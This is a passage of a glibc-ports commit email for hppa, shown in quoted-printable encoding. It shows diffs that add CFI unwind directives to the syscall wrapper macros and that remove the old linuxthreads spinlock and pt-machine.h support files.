=A0# define PSEUDO(name, syscall_name, args) =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
+ =A0 =A0 =A0 ENTRY (__##syscall_name##_nocancel) =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
+ =A0 =A0 =A0 DOARGS_##args =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 stwm TREG, 64(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_offset TREG, 0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_adjust_cfa_offset 64 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 stw %sp, -4(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_offset 30, -4 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 stw %r19, -32(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_offset 19, -32 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Save r19 */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 SAVE_PIC(TREG) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Do syscall, delay loads # */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 ble =A00x100(%sr2,%r0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 ldi SYS_ify (syscall_name), %r20 /* delay */ =A0 =A0ASM_L=
INE_SEP =A0 =A0\
+ =A0 =A0 =A0 ldi NO_ERROR,%r1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 cmpb,>>=3D,n %r1,%ret0,L(pre_nc_end) =A0 =A0 =A0 =A0 =A0 =
=A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Restore r19 from TREG */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 LOAD_PIC(TREG) /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 SYSCALL_ERROR_HANDLER =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Use TREG for temp storage */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 copy %ret0, TREG /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* OPTIMIZE: Don't reload r19 */ =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* do a -1*syscall_ret0 */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 sub %r0, TREG, TREG =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Store into errno location */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 stw TREG, 0(%sr0,%ret0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* return -1 as error */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 ldi -1, %ret0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+L(pre_nc_end): =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* No need to LOAD_PIC */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Undo frame */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 ldwm -64(%sp),TREG =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_adjust_cfa_offset -64 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /* Restore rp before exit */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 ldw -20(%sp), %rp =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_restore 2 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 ret =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 END(__##syscall_name##_nocancel) =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 /**********************************************/ASM_LINE_=
SEP =A0 =A0\
=A0 =A0 =A0 =A0ENTRY (name) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
=A0 =A0 =A0 =A0DOARGS_##args =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0stwm TREG, 64(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_adjust_cfa_offset 64 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0stw %sp, -4(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_offset 30, -4 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0stw %r19, -32(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_offset 19, -32 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0/* Done setting up frame, continue... */ =A0 =A0 =A0 =A0=
ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0SINGLE_THREAD_P =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0cmpib,<>,n 0,%ret0,L(pseudo_cancel) =A0 =A0 =A0 =A0 =A0 =
=A0 ASM_LINE_SEP =A0 =A0\
@@ -128,26 +170,40 @@ L(pre_end):
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0/* No need to LOAD_PIC */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0/* Undo frame */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0ldwm -64(%sp),TREG =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_adjust_cfa_offset -64 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
=A0 =A0 =A0 =A0/* Restore rp before exit */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw -20(%sp), %rp =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+ =A0 =A0 =A0 ldw -20(%sp), %rp =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 .cfi_restore 2 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP

=A0/* Save arguments into our frame */
=A0# define PUSHARGS_0 =A0 =A0/* nothing to do */
-# define PUSHARGS_1 =A0 =A0PUSHARGS_0 stw %r26, -36(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_2 =A0 =A0PUSHARGS_1 stw %r25, -40(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_3 =A0 =A0PUSHARGS_2 stw %r24, -44(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_4 =A0 =A0PUSHARGS_3 stw %r23, -48(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_5 =A0 =A0PUSHARGS_4 stw %r22, -52(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_6 =A0 =A0PUSHARGS_5 stw %r21, -56(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
+# define PUSHARGS_1 =A0 =A0PUSHARGS_0 stw %r26, -36(%sr0,%sp)
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_offset 26, -36 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define PUSHARGS_2 =A0 =A0PUSHARGS_1 stw %r25, -40(%sr0,%sp)
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_offset 25, -40 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define PUSHARGS_3 =A0 =A0PUSHARGS_2 stw %r24, -44(%sr0,%sp)
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_offset 24, -44 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define PUSHARGS_4 =A0 =A0PUSHARGS_3 stw %r23, -48(%sr0,%sp)
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_offset 23, -48 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define PUSHARGS_5 =A0 =A0PUSHARGS_4 stw %r22, -52(%sr0,%sp)
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_offset 22, -52 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define PUSHARGS_6 =A0 =A0PUSHARGS_5 stw %r21, -56(%sr0,%sp)
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_offset 21, -56 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP

=A0/* Bring them back from the stack */
=A0# define POPARGS_0 =A0 =A0 /* nothing to do */
-# define POPARGS_1 =A0 =A0 POPARGS_0 ldw -36(%sr0,%sp), %r26 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_2 =A0 =A0 POPARGS_1 ldw -40(%sr0,%sp), %r25 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_3 =A0 =A0 POPARGS_2 ldw -44(%sr0,%sp), %r24 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_4 =A0 =A0 POPARGS_3 ldw -48(%sr0,%sp), %r23 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_5 =A0 =A0 POPARGS_4 ldw -52(%sr0,%sp), %r22 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_6 =A0 =A0 POPARGS_5 ldw -56(%sr0,%sp), %r21 =A0 =A0 =A0=
 ASM_LINE_SEP
+# define POPARGS_1 =A0 =A0 POPARGS_0 ldw -36(%sr0,%sp), %r26
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_restore 26 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define POPARGS_2 =A0 =A0 POPARGS_1 ldw -40(%sr0,%sp), %r25
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_restore 25 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define POPARGS_3 =A0 =A0 POPARGS_2 ldw -44(%sr0,%sp), %r24
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_restore 24 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define POPARGS_4 =A0 =A0 POPARGS_3 ldw -48(%sr0,%sp), %r23
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_restore 23 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define POPARGS_5 =A0 =A0 POPARGS_4 ldw -52(%sr0,%sp), %r22
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_restore 22 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP
+# define POPARGS_6 =A0 =A0 POPARGS_5 ldw -56(%sr0,%sp), %r21
ASM_LINE_SEP =A0 =A0\
+ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 .cfi_restore 21 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP

=A0# ifdef IS_IN_libpthread
=A0# =A0ifdef PIC

http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3Df84ed6825441096273a893b66a769e37ef68f2f3

commit f84ed6825441096273a893b66a769e37ef68f2f3
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 15:09:24 2011 -0400

=A0 =A0Update ChangeLog.hppa.

=A0 =A0Add missing entries to ChangeLog.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 01e7d1a..b83f4f0 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -6,6 +6,9 @@
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-machi=
ne.h: Remove.
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-initfini.=
c: Remove.
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cance=
l.h: Remove.
+ =A0 =A0 =A0 * sysdeps/hppa/linuxthreads/pspinlock.c: Remove.
+ =A0 =A0 =A0 * sysdeps/hppa/linuxthreads/pt-machine.h: Remove.
+ =A0 =A0 =A0 * sysdeps/hppa/linuxthreads/tls.h: Remove.

=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>


http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D25f991b858ffc104a5b6720ae229cee4e88c976f

commit 25f991b858ffc104a5b6720ae229cee4e88c976f
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 14:49:52 2011 -0400

=A0 =A0Remove hppa linuxthreads support.

=A0 =A0We now require NPTL and TLS to build glibc therefore
=A0 =A0the hppa linuxthreads support is no longer needed.
=A0 =A0Debian has already transitioned to NPTL support and
=A0 =A0we will continue to work out NPTL issues.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 2038513..01e7d1a 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,14 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_cancel.c:=
 Remove.
+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/initspin=
=2Eh: Remove.
+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadt=
ypes.h: Remove.
+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-machin=
e.h: Remove.
+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-initfini.c=
: Remove.
+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel=
=2Eh: Remove.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/hppa/stackinfo.h: Update copyright year.
=A0 =A0 =A0 =A0Include elf.h and define DEFAULT_STACK_PERMS.

diff --git a/sysdeps/hppa/linuxthreads/pspinlock.c
b/sysdeps/hppa/linuxthreads/pspinlock.c
deleted file mode 100644
index e5a5545..0000000
--- a/sysdeps/hppa/linuxthreads/pspinlock.c
+++ /dev/null
@@ -1,82 +0,0 @@
-/* POSIX spinlock implementation. =A0hppa version.
- =A0 Copyright (C) 2000 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
-
- =A0 The GNU C Library is free software; you can redistribute it and/o=
r
- =A0 modify it under the terms of the GNU Lesser General Public Licens=
e as
- =A0 published by the Free Software Foundation; either version 2.1 of =
the
- =A0 License, or (at your option) any later version.
-
- =A0 The GNU C Library is distributed in the hope that it will be usef=
ul,
- =A0 but WITHOUT ANY WARRANTY; without even the implied warranty of
- =A0 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the G=
NU
- =A0 Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; see the file COPYING.LIB. =A0=
If not,
- =A0 write to the Free Software Foundation, Inc., 59 Temple Place - Su=
ite 330,
- =A0 Boston, MA 02111-1307, USA. =A0*/
-
-#include <errno.h>
-#include <pthread.h>
-#include "internals.h"
-
-int
-__pthread_spin_lock (pthread_spinlock_t *lock)
-{
- =A0volatile unsigned int *addr =3D __ldcw_align (lock);
-
- =A0while (__ldcw (addr) =3D=3D 0)
- =A0 =A0while (*addr =3D=3D 0) ;
-
- =A0return 0;
-}
-weak_alias (__pthread_spin_lock, pthread_spin_lock)
-
-
-int
-__pthread_spin_trylock (pthread_spinlock_t *lock)
-{
- =A0volatile unsigned int *a =3D __ldcw_align (lock);
-
- =A0return __ldcw (a) ? 0 : EBUSY;
-}
-weak_alias (__pthread_spin_trylock, pthread_spin_trylock)
-
-
-int
-__pthread_spin_unlock (pthread_spinlock_t *lock)
-{
- =A0volatile unsigned int *a =3D __ldcw_align (lock);
- =A0int tmp =3D 1;
- =A0/* This should be a memory barrier to newer compilers */
- =A0__asm__ __volatile__ ("stw,ma %1,0(%0)"
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0: : "r" (a), "r" (tmp)=
 : "memory");
- =A0return 0;
-}
-weak_alias (__pthread_spin_unlock, pthread_spin_unlock)
-
-
-int
-__pthread_spin_init (pthread_spinlock_t *lock, int pshared)
-{
- =A0/* We can ignore the `pshared' parameter. =A0Since we are busy-wai=
ting
- =A0 =A0 all processes which can access the memory location `lock' poi=
nts
- =A0 =A0 to can use the spinlock. =A0*/
- =A0volatile unsigned int *a =3D __ldcw_align (lock);
- =A0int tmp =3D 1;
- =A0/* This should be a memory barrier to newer compilers */
- =A0__asm__ __volatile__ ("stw,ma %1,0(%0)"
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0: : "r" (a), "r" (tmp)=
 : "memory");
- =A0return 0;
-}
-weak_alias (__pthread_spin_init, pthread_spin_init)
-
-
-int
-__pthread_spin_destroy (pthread_spinlock_t *lock)
-{
- =A0/* Nothing to do. =A0*/
- =A0return 0;
-}
-weak_alias (__pthread_spin_destroy, pthread_spin_destroy)
diff --git a/sysdeps/hppa/linuxthreads/pt-machine.h
b/sysdeps/hppa/linuxthreads/pt-machine.h
deleted file mode 100644
index f35523f..0000000
--- a/sysdeps/hppa/linuxthreads/pt-machine.h
+++ /dev/null
@@ -1,134 +0,0 @@
-/* Machine-dependent pthreads configuration and inline functions.
- =A0 hppa version.
- =A0 Copyright (C) 2000, 2002, 2003 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
- =A0 Contributed by Richard Henderson <rth@tamu.edu>.
-
- =A0 The GNU C Library is free software; you can redistribute it and/o=
r
- =A0 modify it under the terms of the GNU Lesser General Public Licens=
e as
- =A0 published by the Free Software Foundation; either version 2.1 of =
the
- =A0 License, or (at your option) any later version.
-
- =A0 The GNU C Library is distributed in the hope that it will be usef=
ul,
- =A0 but WITHOUT ANY WARRANTY; without even the implied warranty of
- =A0 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the G=
NU
- =A0 Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; see the file COPYING.LIB. =A0=
If not,
- =A0 write to the Free Software Foundation, Inc., 59 Temple Place - Su=
ite 330,
- =A0 Boston, MA 02111-1307, USA. =A0*/
-
-#ifndef _PT_MACHINE_H
-#define _PT_MACHINE_H =A0 1
-
-#include <sys/types.h>
-#include <bits/initspin.h>
-
-#ifndef PT_EI
-# define PT_EI extern inline __attribute__ ((always_inline))
-#endif
-
-extern inline long int testandset (__atomic_lock_t *spinlock);
-extern inline int __compare_and_swap (long int *p, long int oldval,
long int newval);
-extern inline int lock_held (__atomic_lock_t *spinlock);
-extern inline int __load_and_clear (__atomic_lock_t *spinlock);
-
-/* Get some notion of the current stack. =A0Need not be exactly the to=
p
- =A0 of the stack, just something somewhere in the current frame. =A0*=
/
-#define CURRENT_STACK_FRAME =A0stack_pointer
-register char * stack_pointer __asm__ ("%r30");
-
-/* Get/Set thread-specific pointer. =A0We have to call into the kernel=
 to
- * modify it, but we can read it in user mode. =A0*/
-#ifndef THREAD_SELF
-#define THREAD_SELF __get_cr27()
-#endif
-
-#ifndef SET_THREAD_SELF
-#define SET_THREAD_SELF(descr) __set_cr27(descr)
-#endif
-/* Use this to determine type */
-struct _pthread_descr_struct *__thread_self;
-
-static inline struct _pthread_descr_struct * __get_cr27(void)
-{
- =A0long cr27;
- =A0asm ("mfctl %%cr27, %0" : "=3Dr" (cr27) : );
- =A0return (struct _pthread_descr_struct *) cr27;
-}
-
-#ifndef INIT_THREAD_SELF
-#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
-#endif
-
-static inline void __set_cr27(struct _pthread_descr_struct * cr27)
-{
- =A0asm ( "ble =A0 0xe0(%%sr2, %%r0)\n\t"
- =A0 =A0 =A0 "copy =A0 %0, %%r26"
- =A0 =A0 =A0 : : "r" (cr27) : "r26" );
-}
-
-/* We want the OS to assign stack addresses. =A0*/
-#define FLOATING_STACKS =A0 =A0 =A0 =A01
-#define ARCH_STACK_MAX_SIZE =A0 =A08*1024*1024
-
-/* The hppa only has one atomic read and modify memory operation,
- =A0 load and clear, so hppa spinlocks must use zero to signify that
- =A0 someone is holding the lock. =A0The address used for the ldcw
- =A0 semaphore must be 16-byte aligned. =A0*/
-#define __ldcw(a) \
-({ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
- =A0unsigned int __ret; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0__asm__ __volatile__("ldcw 0(%1),%0" =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0: "=3Dr" (__ret) : "r" (a)=
 : "memory"); =A0 =A0 =A0 =A0 =A0 =A0\
- =A0__ret; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
-})
-
-/* Strongly ordered lock reset */
-#define __lock_reset(lock_addr, tmp) \
-({
 =A0 =A0 =A0 =A0 \
- =A0 =A0 =A0 __asm__ __volatile__ ("stw,ma %1,0(%0)"
 =A0 =A0 =A0 =A0 \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 : : "r" (=
lock_addr), "r" (tmp) :
"memory"); =A0 =A0 \
-})
-
-/* Because malloc only guarantees 8-byte alignment for malloc'd data,
- =A0 and GCC only guarantees 8-byte alignment for stack locals, we can=
't
- =A0 be assured of 16-byte alignment for atomic lock data even if we
